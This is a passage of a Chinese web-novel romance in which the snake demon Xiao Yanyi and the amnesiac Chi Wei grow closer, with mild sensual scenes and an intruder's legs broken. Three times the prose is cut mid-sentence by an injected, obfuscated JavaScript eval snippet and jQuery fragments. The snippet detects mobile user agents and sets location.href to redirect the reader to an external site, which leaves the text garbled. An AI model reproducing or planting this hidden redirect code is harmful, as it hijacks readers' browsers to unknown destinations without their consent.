但紧接着,她便感觉萧衍仪掌心覆在她的颈后,微微施力将她按得更近。
温热的唇轻轻贴上颈侧肌肤。
池未呼吸一滞,不敢再动。那触感酥痒入骨,却又带着一种陌生的、令人颤栗的舒适。她不由自主攥紧了萧衍仪的衣袖,浑身毛孔仿佛都舒展开来,浸入某种奇异的眩晕之中。
就在她快要忍不住溢出低吟时。
颈间陡然传来一阵刺痛。
是牙齿刺破皮肤的触感,随后便是轻柔而持续的吸吮。痛与痒交织,混着一种她此生未曾体会过的战栗欢愉,如潮水般席卷全身。
恍惚间,她又觉得自己成了萧衍仪嘴下的猎物,被那对尖锐的毒牙深深衔住,挣脱不得。她只能将对方的衣袖攥得更紧,生怕她尝得尽兴了,真会将自己吸食殆尽。
窒息般的眩晕越来越浓。
再次晕倒前,池未心底闪过一个想法,莫不是萧衍仪喜欢啃她脖颈,才会对她紧追不放?
18. 第 18 章
“小小惩戒罢了。”
萧衍仪指腹轻抚过池未颈间细小的伤口,那里还残留着湿润的温热,“只嘴上说声抱歉,可不会让你真的记住。”
她眉眼间那份慵懒的餍足,让池未恍惚觉得自己真成了对方享用完的甜点。
“你刚刚……是在吸我的精气吗?”池未晃了晃发晕的脑袋,声音有些飘忽。
“你愿意这么想,便是吧。”萧衍仪无奈轻叹,正要起身继续破阵,怀里的池未却身子一软,彻底倒进她臂弯之中。
“怎么了?先前受伤了?”萧衍仪心头一紧,连忙揽着她坐回石上。池未却只是紧闭双眼,眉头微蹙,一个字也答不出,只极轻地摇了摇头。
就在这时,山林深处骤然传来异动。
成群走兽自山坳间奔涌而出,如同决堤的暗潮,直朝她们所在的方向逃窜而来。鼠、狸、野猪、山兔……形形色色的生灵慌不择路,却在触及萧衍仪坐着的这块巨石时自然分流,擦着边缘继续向外奔逃。
“怕是被你的毒给麻晕了。”小檀化作的白狐从竹梢轻盈跃下,落地时已化作娇俏女童模样,“咱们该走了,再迟些,青觉她们就该寻过来了。”
她指向兽群逃来的方向:“阵已撕开一道口子,足够了。”
萧衍仪回头望向紫竹山深处,妖气与道术的余波仍在隐隐震荡。她垂眸看向怀中昏迷的池未,终是颔首,将人稳稳抱起。
“走。”
几个呼吸间,三道身影悄然没入山外渐起的薄雾之中。
该做的都已做了。此后种种,只能各凭天命。
等再次醒来时,池未已然回到客栈。
她身上换了身干燥的寝衣,瞧着样式尺寸正合适,估计是出门时萧衍仪带在身上的。
房门轻响,萧衍仪端着一碗热气腾腾的面放在桌上。
闻着香味,池未就知道这是萧衍仪亲手用鸡汤给她煮的面,从前看不清时她吃不得荤,萧衍仪又担心她总是吃素身体不好,就会这样做。
现在她吃得荤了,原来的鸡汤面上也盖了一层肉丁。
“你醒了?听老板娘说你一早就出门去寻我了,怕你一整天没吃过饭,就给你下了碗面,快尝尝味道怎么样。”
池未走到桌边坐下,拿起筷子又放下:“你应该也一天没吃过饭吧,还是你先吃。”
萧衍仪一怔,其实她倒也不用日日吃饭,但看着池未很在意她的样子,也不想让自己给池未一种与她不一样的感觉。
她拿起筷子吃了几口,池未一直端坐一旁,眼观鼻鼻观心,不时又偷偷瞧她一眼,那模样与她池未第一次见面的时候像极了。甚至萧衍仪都有些恍然,是不是又回到了弧矢谷。
当放下筷子却犯难了,只因她只拿了一双筷子上来,正准备起身再去帮池未下一碗面时,对方却毫不在意地端了过去。
“不用再去拿筷子,就这样吧。前几日素包子腻得我就差啃树叶了,当时就可馋夫……馋萧姑娘下的面了。”
萧衍仪坐回桌边,手撑在下巴上静静地看着池未。
其实她还不清楚池未到底发生了什么,才会突然变得这么听话。照她想法,池未要和她磨上个几个月甚至几年的时间,实在出乎她的意料。
端起茶水,萧衍仪轻轻吹了吹浮起的茶叶,状似无意地问道:“你今日怎么想起去找我的?我还以为你会趁机逃跑呢。”
颈边微微刺痛,池未用食指轻轻刮了刮:“听老板娘说你往南边走,辛戎她们也往南边去,我担心你会撞上她们。”
“你不怕她们?”蓦地,萧衍仪心头微微发痒,藏在桌底下的手不自觉用力地攥紧衣衫。
“没想过……”池未抬头偷偷瞄了一眼萧衍仪,又快速收回,定定盯着自己的脚尖,似乎要把地板看出个洞来。
之前还敢质问萧衍仪为什么跟着她,为什么骗她,对她是不是有所企图。
可昨夜被萧衍仪压在床上之后,池未再跟萧衍仪同处一间屋子,就好像老鼠见了猫一样。
她不知道自己怎么了,反正就是不敢直视对方说话了。
“笨!”
池未指腹又刮了刮脖颈,闷头认下了这个笨,随后低声问道:“萧姑娘能不能说说我之前是个怎样的人,我们两个人又是一种什么样的关系。”
“是个很笨很蠢很不讨喜的人。”说起往事,萧衍仪挂在嘴边的笑瞬间冷了下去。
房间里变得安静下来,察觉到萧衍仪既伤心又愤怒的情绪,池未有些不知所措,她局促地坐在凳子上,感觉每分每秒都很煎熬。
不是因为尴尬,而是心疼坐在一旁眼泛泪光的萧衍仪。
“对不起……”虽然不知道自己做错了什么,但萧衍仪那么伤心,肯定是她做得不对吧。
“我之前同你说的事,并非虚言。”良久,萧衍仪抬起眼看向池未,眸色如沉入暮色的湖,复杂难辨,“我生于一个大家族。九岁那年,随家人出游,在镇上遇见了你。”
池未缓缓抬起头。
“那时你被人贩子拐至镇上,是我家里人救下了你们。你年纪最小,又什么都不记得了,我便央求家人将你带回家中,做我的伴读。”
原来那么早以前,她便已救过自己。池未心底轻轻一动。
“说是伴读,可你当时不过五岁,哪真能陪我读书?说到底,不过是我在哄着你罢了。”萧衍仪语气里带着一丝无奈的笑意,池未有些不好意思地点了点头。
“后来家中人见你颇有天赋,便将你留在身边收作学徒。你渐渐长大,却总爱缠着我。我性子喜静,你偏生好动,仗着与我自幼相伴,知我不会真赶你走,便愈发得寸进尺……”她顿了顿,声音低了几分,“尤其是在我十五岁那年。”
“为什么是十五岁?”池未忍不住追问。
萧衍仪偏过脸,摇摇头不肯说原因。
“后来日子久了,你便越发肆无忌惮。我若出门不带你,你要生气,我同旁人多说几句话,你也要生气。就连买些吃食若是你不在,没有分给你,你都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116999|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要生气。”
池未茫然:“我为何连你同旁人说话也要生气?”
萧衍仪横她一眼:“你说呢?”
池未霎时脸热,低下头去。萧衍仪却继续说了下去:“起初我不懂,你也不懂。我只觉得你无理取闹,却又见不得你气得不肯吃饭,心里总是悬着。”
“直到有一日,我偶然听见旁人私下议论……”她话音渐轻。
“议论什么?”池未听得入神,也顾不得羞了,只急着想知道下文。
“议论你是贪图我家业,想入赘我家,才整日黏着我、哄我开心。”萧衍仪说到这儿,颊边也染上薄红,“可我知你不是那样的人。私下里明明总是你惹我烦我,处处要我让着你,哪谈得上什么哄我。”
池未听得耳根发烫,手指无意识地绞紧了衣袖。
“那后来呢?”
“后来我便直接去问你,是不是喜欢我。”萧衍仪望着她,眼底泛起温柔的波澜,仿佛又回到了那个午后,“你当时慌得连话都说不清,转身就逃了。过了好些天,才又来找我。”
“再后来呢?”池未声若蚊吟,难以想象从前的自己竟如此大胆。
“再后来,你不再缠着我玩闹,却开始缠着我要与我……相好。”萧衍仪别开视线,语气里带着几分赧然,“我不答应,你就闹个不休。实在无法,只得应了你。”
“所以你娘不同意,我便带着你私奔了?”池未羞得几乎要把衣角揉碎了。
“差不多吧。”萧衍仪轻轻苦笑,心底却漫起一片涩意。
若没有后来那些事,若不曾亲眼见过池未的另一面,或许结局真会如此。
池未不曾想自己从前竟是那般胆大之人,听得耳热心跳,忙捧起茶盏灌了一大口。茶水微涩,却压不住心头的悸动。
不敢再问,她忆起萧衍仪说她见过她的蛇尾负心的事,继续往下猜测,想必是自己带着萧衍仪私奔后,才知晓对方是妖,惊惧之下反悔逃离。而后遭遇变故受伤失忆,兜兜转转,又被萧衍仪救回身边。
若真如此自己欠萧衍仪的,实在太多。
池未将前因后果在心中串联起来,手掌微微抬起,想要去握萧衍仪的手,却又在触到之前蜷缩起来。
“对不起,阿衍。是我亏欠你太多。”
“你竟还叫我阿衍?”萧衍仪眉头微蹙,转过身来定定地望着她,眼中有暗流无声涌动。池未怔了怔,未及反应,便见萧衍仪已站起身,似要拂袖离去。
“别走!”
“那我该叫你什么?”
池未心头一紧,也不知哪来的勇气,匆匆起身拉住了萧衍仪的胳膊。
萧衍仪微微偏头,语调淡漠,显然是生了气:“若是将前因后果讲了,你都不认我这个夫人,那我不如趁早离开,免得再被你伤身伤心。”
池未心底一慌,明白不唤出这声夫人,萧衍仪今日必然要离她而去。
久不出声。怀里人稍作挣脱,池未立马开口低声唤道:“夫人,别走。”
19. 第 19 章
“咚咚咚——”
敲门声又响。
“大小姐,您在里面吗?”
大小姐?
池未还环抱着萧衍仪,闻声立刻直起身,攥住她的袖口低声道:“该不会是你家里人找来了?”
萧衍仪轻拍她的手背:“未必,许是找错房间了。你在屋里等着,我去看看。”
“我陪你去!”
“乖。”萧衍仪指尖在她额角轻轻一点,“头不晕了?”
本来是不晕的,可被她这么一点,池未又觉得有些恍惚,扶着桌沿坐了回去。
“我去看看小檀,很快回来。”萧衍仪说罢,屋外敲门声又起。没等池未应声,她便推门走了出去。
门外的人见到萧衍仪,瞳孔骤然一缩,脸上掠过一丝笑意,随即又蹙起眉:“大小姐,池未她人呢?没跟您一起?”
话音未落,萧衍仪眸色倏地冷了下来,五指如铁钳般扣住来人脖颈。下一瞬,天旋地转,二人已置身客栈外的密林之中。
“都有谁知道你在这?”
“咳咳……没谁,我们一行人分散各地,唯我一人来了这个地方。刚刚见您端着碗面上楼,我还当是我眼花了,没想到您真的在这。”
萧衍仪微眯着眼,五指骤然收紧,对于这个不速之客已然动了杀心。
“等等!这人我认识。”小檀喘着粗气,追了过来喊停萧衍仪不要下死手。
“认识又如何?”
“她叫谢瑶,和池未的关系还挺好的。”眼见她这句话说完,谢瑶已经被萧衍仪掐得喘不上气,她急忙补上一句,“并非是那种关系好,而是作为朋友,她帮过池未很多忙。”
萧衍仪冷哼一声,将手中软倒的人甩了出去,转身朝客栈方向走去。
“腿打断,扔进深山。该怎么说,你心里清楚。别再像上次辛戎那样。”
小檀点头连声称是,上次对辛戎手下留情之后,她也没能想到天大地大俩人还有再见面的可能,这次是怎么也不敢了。
待萧衍仪走远,小檀扛起昏迷的谢瑶,快步往山林深处走去。
到了僻静处,她将人放倒捆好,却对着那双腿发起愁来,这般血肉模糊的事,她实在下不去手。
正犹豫间,谢瑶竟悠悠转醒。
“池未待你不薄,你就这样对她师妹?”谢瑶声音发颤,却仍强撑着开口,“当初在谷里,我还帮你在谷主面前遮掩过身份,小狐狸,你不能恩将仇报啊。”
小檀咬着唇,绕着被捆的谢瑶踱了两圈。
谢瑶这人在谷里作为池未的得力助手,两个人感觉确实很好,她今天要是真打断她的腿了,谢瑶以后少不了为难她。
但要是这次还不按萧衍仪的要求去做,要是坏了萧衍仪的事,她自己的腿也得小心不保。
“大小姐到底为何要杀我?”谢瑶往后缩了缩,声音里透出委屈与不解,“我千辛万苦寻到这里,谷里上下都担心得紧,我也一直挂念你和池未。”
小檀嘴角僵住,谁说要杀你了,不过你这么认为倒是也挺好的:“这……其实是池未疯了,池未绑了萧衍仪,非要与萧衍仪成就一段美满姻缘,以前她有多爱缠着萧衍仪谷里人都是知道的。”
“那是她没被谷主认为义女、没修绝弦功之前,她现在无情无欲的,成就什么美满姻缘啊!小檀,你说瞎话也不要太离谱好不好。”谢瑶被小檀这番话惊得瞠目结舌,池未修行的功法会使人变得性情冷淡这她是知道的。
“啧!你到底是想死还是想只断条腿。”小檀瞪了谢瑶一眼,恨铁不成钢道。
“你……你愿意救我?”
小檀凑近几分,语气急促:“听着,你知道萧衍仪曾在蓬莱修习仙法吧?”
“自然知道。池未正是去接她回谷,两人才一同失踪的。”
“那你可知,她如今的修为,早已远在谷主之上?”
谢瑶愣住。谷主功力已臻化境,位列当世前十,大小姐怎可能比谷主还厉害。
小檀伸手敲了谢瑶额头一下:“蓬莱岛是何处?那可是仙人静修的地方,萧衍仪本该在岛上潜心修炼,百年之后位列仙班。但她没有,她违抗师命受了重伤也要逃出来,她什么性子,谷里谁不清楚?若有人碍了她的事,她绝不留情。”
“可我只是奉命寻人,并未冒犯啊。”谢瑶声音渐弱。
萧衍仪性情不定也是有理由的,她不冒犯她,大小姐自然不会出手,她只是奉命找到大小姐的下落而已啊。
小檀又是一个指节敲在谢瑶头上:“真是笨死了,她这次逃出来就是为了池未。这个中缘由我不跟你细说,你只需记住回到谷里的时候就说池未以下犯上,贪恋萧衍仪的美貌和身子,把她抢跑了就行。”
“这话也太糙了吧,我说不出口。”谢瑶耳根一热。
“要脸,还是要命?”
“……我说。”
小檀站起身,往谢瑶怀里扔了个盒子。
“这药专治断骨,我轻点下手,你早点上药给自己治好,但是必须过两月再回去复命。这期间你就在山下客栈待着,我会给你写信的。”
谢瑶点头:“好,多谢小檀。”
林中骤然响起一声凄厉的哀嚎。
片刻后,小檀龇牙咧嘴地从林间走出来,搓了搓发凉的手臂。
“咦……光是听着,都觉得疼。”
另一边,池未收回往外探的头,合好客栈窗户:“谁大晚上不睡觉在嚎,不会出什么事了吧?你说我们要不要叫官差过来看看啊。”
萧衍仪铺床动作一顿,回首展颜:“说不定是有什么特殊癖好呢,还是别管了,要是等下还叫再喊官差来也不迟。”
“说的有道理。”池未打了个哈欠往床边走,看到床上铺着一床被子时,脚步顿住。
“怎么?你不愿和我睡一床?”
她确实还没准备好和萧衍仪同住,不为别的,单纯是看得见之后有些不太习惯。
“那我再拿床被子过来。”
池未没说话。
“或者我出去再开间房。”
萧衍仪拉住池未胳膊顺着袖子往上探了探,“只是你身上好冷,以前从未有过,我有些放心不下。”
池未转过头,看到萧衍仪微微垂眸,难掩失落,心头蓦地有些钝痛:“还是留下来吧,毕竟你我是妻妻不是吗?”
池未摸了摸自己脖颈,明明热得很,倒是萧衍仪的掌心凉得冰人。
听说蛇冬天是要藏在洞里的,总爱寻暖和的地方盘着。白日里刚下过雨,夜里寒气一层层漫上来,关窗户的时候冷得很。
池未记起从前瞧不见的时候,夜里与萧衍仪同榻而眠,对方的脚总是冰凉得厉害,许久也暖不过来。
本就是妻妻,何必再让她一个人守着这漫漫长夜。
但是……
萧衍仪怎么没有再去拿床被子的意思呢?
怕惹得对方不悦,池未不敢多说也不敢提,默默上床,盖好被子等着萧衍仪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117000|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不知道萧衍仪又在忙活什么,池未紧张地不敢偏头看,毕竟上次偷看人家脱衣服洗澡已经被抓了现行,已经太过尴尬了。
“帮我拿一下。”池未坐起身,接过萧衍仪递来的蜡烛。
谁知萧衍仪忽然抬手,将白色寝衣的领口往下一拉,左边肩膀大片雪白的肌肤蓦然敞露在烛光里。池未心头一跳,慌忙侧过脸去。
“现在倒装起害羞了?”
“从前可没见你这般老实。”
“是看伤口么?”池未讪讪转回头,目光避开萧衍仪含笑的眼,落在她肩头。
寝衣半褪处,手臂线条清瘦利落,却横着一道寸余长的伤,皮肉微微外翻,在烛光下显得格外狰狞。
池未心口一紧,这伤是在破庙里为她受的。
她凝视伤处时,萧衍仪也正静静望着她。
让池未心疼的目的已达成了,可萧衍仪觉得,似乎还不够。
于是受伤的手臂往床沿一撑,她又朝池未挪近了些。本就松垮的寝衣顺势滑落,几乎挂不住臂弯。
夜寒露重,池未怕她着凉,下意识便抬眼去看,指尖捏起那片单薄衣料想往上提。
只是这一瞥,却叫她呼吸微滞。
平日总觉萧衍仪身形清瘦,未料到被烛光柔柔照着的这处,竟如此丰盈。圆润的弧线在昏黄光晕里微微起伏,随着呼吸轻轻颤动。
池未耳根发热,慌忙眨了眨眼,强自移开视线,手上有些忙乱地将衣裳往上稍微提了提。
“还……还疼不疼?我替你上药吧。”
“疼,疼得厉害。”眼见池未脖颈又染上了一层粉,萧衍仪嘴角扬起一丝得逞的笑,将药瓶递到池未手上。
蜡烛重回萧衍仪的手上,池未跪坐在床上,拿起一块纱布,将瓶中药粉细细撒在上面,敷在萧衍仪受伤的位置。
池未认真上药,目光重新变得清明,萧衍仪却又不满了,她贴近耳边,轻轻吹出一口气,“你的脖颈怎么这么红?是屋里太热了吗?”
“啊?有吗?”池未顿感本已渐渐褪去的热,又重新烧了上来,她试图岔开话题,“你伤口还疼不疼?”
“不如你帮我吹吹它。”
池未愣住。
吹吹?这能管用吗?这不是哄小孩子的把戏吗?
可看着她微蹙的眉,池未还是俯下了身。
她轻轻凑近那裹着纱布的伤处,周围肌肤细腻如玉。她屏住呼吸,小心地吹出一口气,抬眼看萧衍仪。见她颔首,便又轻轻吹了一口。
“好似还不够。”萧衍仪的声线更柔了几分,像羽毛搔过心尖,“不如你亲亲它。”
池未整张脸霎时红透,她哪还能不懂这是房中情事。
对于这种事情,池未感觉自己像是刚入学堂的稚童,而萧衍仪则像是个金榜题名的状元,随口一句便搅得她心慌意乱。
见她久久不动,萧衍仪低低叹了一声,语调里漫起怅然:“从前你可从来不会这般对我,别说我磕着碰着不会等我主动找你,你才记得给我上药。就连平日里相处,你也不会让我主动脱下衣裳求你亲一亲……”
“别……别说了,我亲便是!”
再让萧衍仪说下去,还不知道她要说出些什么让人脸红心跳的话。
池未闭上眼,低下头,轻轻将唇贴上那一小片完好的肌肤。
很软。
温热里渗着淡淡的药香,还有她身上特有的香息。只一触,心尖便颤了颤,竟生出一丝想要深入探寻的慌怯。
20. 第 20 章
“够……够了。”
萧衍仪原本只是想逗逗她,却不料池未竟真将温软的唇贴了上来。那一触的湿暖,蔓开一片酥酥麻麻的痒,直往心底里钻。
她闭上眼,齿关不自觉地咬紧。可那股说不清道不明的悸动,却偏要从唇缝间、从颤动的呼吸里、甚至从更深的地方,不管不顾地溢出来。
然而池未却恍若未闻。手臂环过她的腰,非但没有退开,反倒埋首在她肩颈处,近乎贪婪地轻嗅着那缕若有若无的体香。
“唔……”萧衍仪低哼一声,指尖一颤,烛火跟着猛地摇晃起来。
小腹骤然收紧,她倏地睁眼,几乎是狼狈地用力推开眼前人,慌乱地抓拢散开的衣襟,将自己严严实实地裹住。
烛光摇曳中,她的脸红得发烫。再看池未被推得向后一倾,跌坐在床褥间,眼神从迷离的水雾里一点点找回焦距……
池未这才恍然惊觉自己做了什么,慌忙起身,跪坐在床褥间。五指紧紧攥着寝裤的布料,指节发白,嘴里不停地低喃:“对不起……对不起……我也不知道方才怎么了,我不是有意的……”
见她这般手足无措的模样,萧衍仪心口那点懊悔更深了。方才不该那样慌乱地推开她的,那从未有过的悸动,竟让自己失了方寸。
她转过身,背对着池未坐了片刻,才吹熄了蜡烛。烛火一灭,帐内陷入昏昧的暗,只余窗隙漏进的微光勾勒着模糊轮廓。她静静等着心底那阵陌生的燥热与悸动渐渐平息,才掀开被子躺下,轻声道:“不怨你。睡吧,明日还要赶路。”
“嗯。”池未低低应了一声,在被子底下悄悄掐了一记自己的腿。
萧衍仪闭上眼,黑暗中,感官却愈发清晰。方才那个温暖的怀抱仿佛还残留在周身,挥之不去,心尖又泛起细细密密的麻痒。
她真是烦透了这恼人的情\潮。自己何时变得这般容易被池未牵动?
可转念一想,此番受伤是她自己所为并不重,修为也未损,按理说发\情期早该压制下去才是。怎会拖延至今,甚至愈发难捱?
难不成其实早已过了,只是自己未曾察觉?
不可能。她立刻否定这个念头,摇了摇头,不愿再深想。
正出神间,脚底忽然一暖。
是池未悄然将脚背贴了过来,轻轻挨着她的脚心,妥帖地暖着那处微凉。
萧衍仪嘴角微微弯起,这人总是这般善解人意。
翌日,一觉睡醒,三人又继续往南边出发,直到经过一个背山面水,风景秀丽的镇子才停下。
萧衍仪卖了一支随身戴的珠钗,置办了一间宽敞宅院,买了几个丫鬟小厮。
想起在烟波港时,日子过得清苦拮据,萧衍仪也没说变卖什么首饰,仍是从县里往返十几里路抄书换钱。
猜道那钗子怕是祖传贵重物,不到迫不得已萧衍仪绝不会卖。
池未心里有些不是滋味。她总觉得萧衍仪付出太多,以前的自己倒像是个靠花言巧语哄了富家小姐出来,却让她跟着吃苦的骗子。
所以当萧衍仪问她,要不要给这宅子起名叫“池宅”时,池未摇头拒绝了。
乔迁萧宅这日,萧衍仪在前厅安排着仆人安排家具的位置,小檀见她这模样,俨然是想一辈子都住在这的感觉,哪里像是豢养池未用的。
而池未则是坐在院子里的池塘边盯着池中的几尾鱼游来游去,殊不知自己未来也是其中之一。
“怎么,心情不好?”小檀走过来坐下,递给她一个苹果。
池未接过,在手里掂了掂,又放到一边:“我只是觉得自己什么都不会。本来想着找个活计,好好照顾你和阿衍。可你看她随手卖支珠钗,就能买下这么大的宅子,还能请仆人,我都不知道我能做什么。”
“她有钱还不好吗?”小檀咬了口苹果,含糊道,“你把她伺候舒服了,不比干什么活都强?”她从小被萧衍仪捡到,吃穿用度全由萧衍仪包揽,早就习惯这样的日子。
池未摇摇头:“那不成花瓶了?”
“花瓶有什么不好?天天有鲜花插着,又漂亮又香。”
池未脸一红,连连摇头:“不好不好。对了,我以前不是会算命吗?要不重操旧业你觉得怎么样?”
小檀啃苹果的动作一顿,干笑两声:“我觉得你还是专心伺候你家夫人比较好。”
“为什么?”
“你不觉得给你传音的那个神仙,声音和我很像吗?”小檀尴尬地笑了笑。
“呼——”池未长长吐了口气,翻了个大大的白眼,“我就知道,哪来什么神仙眷顾我。所以那位小姐的事,是你提前打听好的?”
小檀冲她“嘿嘿”一笑,算是默认。
日光洒在池水上,晃得人眼微眯。池塘另一端的亭子里,萧衍仪正朝这边招手,催她们过去用饭。
池未从草地上站起来,拍了拍衣上沾的草屑,向小檀伸出手,用力一拉将人拽起,就这么牵着朝池塘对面走去。
“所以你真是我和阿衍捡回来的小狐狸?”
“是啊。我可是一直拿你当朋友看的。”小檀朝池未笑笑,隐了半句没说出的话。至于萧衍仪,她是当主人看的。
饭桌上,萧衍仪夹了块肉片放到池未碗中。
“药浴备好了,趁着晌午暖和,待会儿便泡了吧。”
药浴,想起那股浸入骨髓的药味和刺痛,她眉头就拧了起来。眼睛明明已好,为何还要受这份罪?
萧衍仪像是看穿她的心思,不紧不慢补道:“虽然眼睛好了,但你记忆还未恢复,我给那位大夫写了信,她信中回我人可以不去,但药浴还是要继续。你若是觉得难捱,剂量和频率可以减少些。”说着她把信纸展开,送到池未面前。
“原来如此。辛苦你为我操心了,阿衍。”白纸黑字,笔迹工整。池未目光扫过,终于点了点头。
用过饭,萧衍仪领着池未往浴房去。穿过回廊时,新任管家江逸迎面走来。
“家主,门外有一队人求见。”
“什么事?”
“说是大燕朝衙门的人,途径此地,想借宅子暂住一日。”江逸顿了顿,“我已回绝不方便,但对方持有玄都司的令牌。”
池未在一旁听得茫然:“玄都司?是什么衙门?名号好生奇怪。”
江逸低头:“这个……江某也不太清楚。”
“你做主便是,安排在前院,勿要打扰了我。”萧衍仪却是一副毫不好奇的模样,吩咐下去后,便拉起池未的手往后院的方向走去。
不同于夜晚的昏暗,阳光穿过薄薄的窗纸进到屋中,还是亮堂的很。
浓重的草药味弥漫在空气中,池未才踏进去一步,眉头就已紧锁,脚下生了退意。
“所以……只要我一日想不起从前,这要命的药浴便一日不能停?”她苦着脸,声音里带上了点赖皮的意味,“那我宁可不想起来了。反正你也说了,我没什么亲人在世,忘了就忘了吧。”
萧衍仪伸手探了探浴桶中的水,指节撩起些许水珠,语气平静:“倒也用不了许多天了。大夫说,待你泡药浴时丹田不再刺痛,便可停了。”
“嗯?”池未一怔,这说法怎么又和记忆无关了?
萧衍仪转过身,唇角漾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117001|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起一丝轻笑,伸手去解她的衣带:“大夫的意思是,等你腹中不再作痛,便只需静待记忆恢复即可。”
“那算了,我不用恢复记忆了。就这样也挺好的。”池未侧身躲开萧衍仪的手,灵巧地绕到浴桶另一侧。
“你……这怎么可以?”萧衍仪的手顿在半空,怔住了。这药浴可不是用来给池未恢复记忆的,而是用来散去她体内绝弦功用的。绝弦功一日不散,她的心便一日不得安稳。
“这怎么不可以了?”池未笑容洋溢在她对面,只觉得此法甚好,反正都忘了,如果非要泡这要命的药浴才能恢复记忆,她也不觉得以前的记忆有什么重要的了。
萧衍仪提裙绕着浴桶追她,她绕着浴桶躲。萧衍仪胡乱说着哄骗池未的话。
“小池,乖。你听话些,我们两个相见、相遇、相知,对我来说都是很重要的记忆,我不愿你忘了它们。再说你本就不信我,等哪日出了嫌隙,那样就会更显得我们两个相爱,都是我编织出来的谎言。”萧衍仪声音里带着平日里少见的慌乱。
池未脚步忽然顿住了。
萧衍仪没料到她突然停下,来不及收步,整个人轻轻撞进她怀里。
她下意识抓住池未的衣袖,仰起脸:“你怎么停下来了。”
池未低下头,眉头仍是微蹙着,目光却柔软下来。
“你说得有些道理。如果只有你一个人记得那些美好的过往,我却忘了,你应该会觉得很失落很伤心吧。”
怕她自己一个人记得往事,便甘愿忍受药浴的痛苦,池未她何时变得这么在意她的感受了?池未已经在解自己腰带,萧衍仪不自觉攥紧了池未的衣袖。
可她终究还是没有多说什么,眼睁睁看着池未穿着单薄寝衣步入药浴中。
与以往每次泡药浴时龇牙咧嘴喊痛的模样截然不同,这回池未连眉头都未皱一下。若非这药汤是萧衍仪亲手调配,她几乎要以为桶中盛的是清水。
萧衍仪拿起软巾,轻轻拭去池未额间的细汗。可很快,汗珠又密集成片地沁出来。她倾身想再擦,目光却倏然一凝——
橙黄的药汤里,正浮起一缕极淡的殷红。
萧衍仪顺着那抹血色看去,源头竟是池未紧握成拳的手。指甲深深陷入掌心,血珠正从指缝间渗出,悄无声息地融进药水里。
明明痛得这样狠,这人却连眉梢都不曾动一下。
是怕她看到了会难过,会叫停以这种方式找回记忆吗?
为什么失忆的池未会变得这么好?好的让她好难狠下心折磨对方。
可为什么从前那个记得一切的池未,却又将她弃如敝履?
愤怒与疼惜在胸口绞成一团,烧得她头疼欲裂。萧衍仪蓦地扬手,一掌击在浴桶壁上。
“哗啦——”
木桶便碎得四分五裂,药汤四溅流了一地,池未也浑身湿透地落在了她的怀里。
“阿衍,这是怎么了?”
萧衍仪拨开她颊边黏湿的发丝,闭上眼睛低声说道:“今日先到此为止吧……其实也有其它的办法助你恢复记忆。”
“什么法子?”池未自然猜不到这桶是萧衍仪打碎的,只觉得这浴桶的质量也太差劲了些。
“与我多亲近些。”萧衍仪将下巴轻轻抵在池未发顶,眸色暗沉如夜,“做些……我们从前常做的事。”
反正皆是为引她动情欲、散功法。或许方式直接些,见效也会更快。
池未在她怀里眨了眨眼,心跳陡然漏了一拍:“比如?”
萧衍仪静了片刻,才缓缓吐出两个字,气息拂过池未耳畔:“……圆房。”